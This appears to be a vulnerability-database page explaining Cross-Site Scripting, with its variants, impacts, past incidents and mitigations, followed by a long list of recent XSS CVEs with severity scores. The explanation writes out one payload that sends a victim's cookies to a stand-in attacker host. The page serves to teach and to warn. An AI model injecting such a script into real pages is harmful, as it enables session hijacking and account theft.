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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39207)

EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Scriptless Social Sharing WordPress plugin before 3.2.2 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Scriptless Social Sharing
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Advanced Recent Posts WordPress plugin through 0.6.14 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Advanced Recent Posts
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Cost Calculator WordPress plugin through 1.8 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cost Calculator
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Resume Builder WordPress plugin through 3.1.1 does not sanitize and escape some parameters related to Resume, which could allow users with a role as low as subscriber to perform Stored XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Resume Builder
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

The Download Attachments WordPress plugin before 1.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Download Attachments
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WPaudio MP3 Player WordPress plugin through 4.0.2 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpaudio Mp3 Player
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Product GTIN (EAN, UPC, ISBN) for WooCommerce WordPress plugin through 1.1.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Product Gtin Ean Upc Isbn For Woocommerce
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The i2 Pros & Cons WordPress plugin through 1.3.1 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS I2 Pros Cons
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The eVision Responsive Column Layout Shortcodes WordPress plugin through 2.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Evision Responsive Column Layout Shortcodes
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WordPress Shortcodes WordPress plugin through 1.6.36 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wordpress Shortcodes
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Saysis Computer Starcities allows Cross-Site Scripting (XSS).1. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Starcities
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability in BlogEngine.NET 3.3.8.0, allows injection of arbitrary JavaScript in the security context of a blog visitor through an injection of a malicious. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Blogengine Net
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A stored Cross-site Scripting (XSS) vulnerability in BlogEngine.NET 3.3.8.0, allows injection of arbitrary JavaScript in the security context of a blog visitor through an upload of a specially. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Blogengine Net
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting vulnerability in Authentication Key Settings of EC-CUBE 4.0.0 to 4.0.6-p2, EC-CUBE 4.1.0 to 4.1.2-p1, and EC-CUBE 4.2.0 allows a remote authenticated attacker to inject an. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ec Cube
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting vulnerability in Product List Screen and Product Detail Screen of EC-CUBE 4.0.0 to 4.0.6-p2, EC-CUBE 4.1.0 to 4.1.2-p1, and EC-CUBE 4.2.0 allows a remote authenticated attacker. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ec Cube
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Cross-site scripting vulnerability in Contents Management of EC-CUBE 4 series (EC-CUBE 4.0.0 to 4.0.6-p2, EC-CUBE 4.1.0 to 4.1.2-p1, and EC-CUBE 4.2.0), EC-CUBE 3 series (EC-CUBE 3.0.0 to 3.0.18-p5),. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ec Cube
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The REPORT (after z but before a) parameter in wa.exe in L-Soft LISTSERV 16.5 before 17 allows an attacker to conduct XSS attacks via a crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Listserv
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository icret/easyimages2.0 prior to 2.6.7. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Easyimages2 0
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in SourceCodester Health Center Patient Record Management System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Health Center Patient Record Management System
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Computer Parts Sales and Inventory System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Computer Parts Sales And Inventory System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs.`lassoAppend' function accepts 3 arguments and internally invokes `push`. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Vega Functions Vega
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vega Functions Vega
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

RSSHub is an open source and extensible RSS feed generator. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Rsshub
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

teler-waf is a Go HTTP middleware that provides teler IDS functionality to protect against web-based attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Teler Waf
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Craft is a platform for creating digital experiences. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Craft Cms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Certain Draytek products are vulnerable to Cross Site Scripting (XSS) via the wlogin.cgi script and user_login.cgi script of the router's web application management portal. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Vigor2860 Firmware Vigor2860N Firmware +89
NVD
EPSS 13% CVSS 6.1
MEDIUM POC THREAT This Month

The Watu Quiz plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘dn’, 'email', 'points', and 'date' parameters in versions up to, and including, 3.3.9 due to insufficient. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 13.5%.

XSS WordPress Watu Quiz
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in the file upload functionality of Cisco Webex App for Web could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS File Upload +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Prime Infrastructure and Cisco Evolved Programmable Network (EPN) Manager could allow an authenticated, remote attacker to conduct a. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco XSS Evolved Programmable Network Manager +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ASOS Information Technologies Book Cites allows Cross-Site Scripting (XSS).01.05. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Bookcites
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ASOS Information Technologies SOBIAD allows Cross-Site Scripting (XSS).02.01. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sobiad
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Health Center Patient Record Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Health Center Patient Record Management System
NVD GitHub VulDB
EPSS 58% 4.7 CVSS 7.2
HIGH POC PATCH THREAT Act Now

The Metform Elementor Contact Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via text areas on forms in versions up to, and including, 3.1.2 due to insufficient input. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 58.4%.

WordPress XSS Metform Elementor Contact Form Builder +1
NVD Exploit-DB VulDB
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

XWiki Platform is a generic wiki platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 1% CVSS 6.5
MEDIUM POC PATCH This Month

XWiki Platform is a generic wiki platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Xwiki
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Cost Calculator plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the nd_cc_meta_box_cc_price_icon parameter in versions up to, and including, 1.8 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Cost Calculator
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation vulnerability in Yordam Information Technologies Library Automation System allows Stored XSS.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Library Automation System
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

teler-waf is a Go HTTP middleware that provides teler IDS functionality to protect against web-based attacks. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Teler Waf
NVD GitHub
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

Grafana is an open-source platform for monitoring and observability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Privilege Escalation Grafana XSS
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability has been found in SourceCodester Computer Parts Sales and Inventory System 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Computer Parts Sales And Inventory System
NVD GitHub VulDB
EPSS 9% CVSS 5.4
MEDIUM PATCH This Month

Grafana is an open-source platform for monitoring and observability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Privilege Escalation Grafana XSS
NVD
EPSS 15% CVSS 5.4
MEDIUM PATCH This Month

Grafana is an open-source platform for monitoring and observability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Privilege Escalation Grafana XSS
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.18. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.18. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.18. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in SourceCodester Simple Payroll System 1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Payroll System With Dynamic Tax Bracket
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability in the ArubaOS web management interface could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Sd Wan Arubaos
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Identity Services Engine (ISE) could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Identity Services Engine
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Nexus Dashboard could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco XSS Nexus Dashboard
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

SOLDR (System of Orchestration, Lifecycle control, Detection and Response) 1.1.0 allows stored XSS via the module editor. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Soldr
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

An issue was discovered in Online Reviewer Management System v1.0. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Reviewer Management System
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Improper neutralization of input during web page generation allows an authenticated attacker with access to a restricted account to submit malicious Javascript as the description for a calendar. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opencats
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Improper neutralization of input during web page generation allows an unauthenticated attacker to submit malicious Javascript as the answer to a questionnaire which would then be executed when an. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Opencats
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

DataEase is an open source data visualization and analysis tool. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Dataease
NVD GitHub
EPSS 34% CVSS 6.1
MEDIUM POC THREAT This Month

The GN Publisher plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘tab’ parameter in versions up to, and including, 1.5.5 due to insufficient input sanitization and output. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and EPSS exploitation probability 34.0%.

XSS WordPress Gn Publisher
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 1.3.3. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Simple Customer Relationship Management System v1.0 was discovered to contain a SQL injection vulnerability via the name parameter on the registration page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS SQLi Simple Customer Relationship Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

WangEditor v5 was discovered to contain a cross-site scripting (XSS) vulnerability via the component /dist/index.js. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wangeditor
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Art Gallery Management System Project v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Art Gallery Management System
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A stored cross-site scripting (XSS) vulnerability in Art Gallery Management System Project v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Art Gallery Management System
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Namaste!. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Namaste Lms
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Arigato Autoresponder and Newsletter WordPress plugin before 2.1.7.2 does not sanitize and escape some of its settings, which could allow high-privilege users such as admin to perform Stored. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Arigato Autoresponder And Newsletter
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The GS Insever Portfolio WordPress plugin before 1.4.5 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Gs Insever Portfolio
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Donation Block For PayPal WordPress plugin before 2.1.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Donation Block For Paypal
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The ShortPixel Adaptive Images WordPress plugin before 3.6.3 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Shortpixel Adaptive Images
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The VK All in One Expansion Unit WordPress plugin before 9.86.0.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Vk All In One Expansion Unit
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Olevmedia Shortcodes WordPress plugin through 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Olevmedia Shortcodes
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Custom Add User WordPress plugin through 2.0.2 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Add User
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Part-DB is an open source inventory management system for your electronic components. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Part Db
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Cloud Pak for Business Automation 18.0.0, 18.0.1, 18.0.2, 19.0.1, 19.0.2, 19.0.3, 20.0.1, 20.0.2, 20.0.3, 21.0.1, 21.0.2, 21.0.3, 22.0.1, and 22.0.2 is vulnerable to stored cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Cloud Pak For Business Automation
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.18. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting vulnerability in IRZ Electronics RUH2 GSM router allows attacker to obtain sensitive information via the Upload File parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ruh2 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability has been found in SourceCodester Online Pet Shop We App 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Pet Shop We App
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Simple Responsive Tourism Website 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Simple Responsive Tourism Website
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Dental Clinic Appointment Reservation System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Dental Clinic Appointment Reservation System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The frp_form_answers (aka Forms Export) extension before 3.1.2, and 4.x before 4.0.2, for TYPO3 allows XSS via saved emails. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Forms Export
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

ZoneMinder is a free, open source Closed-circuit television software application for Linux which supports IP, USB and Analog cameras. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Zoneminder
NVD GitHub
EPSS 1% CVSS 5.1
MEDIUM POC This Month

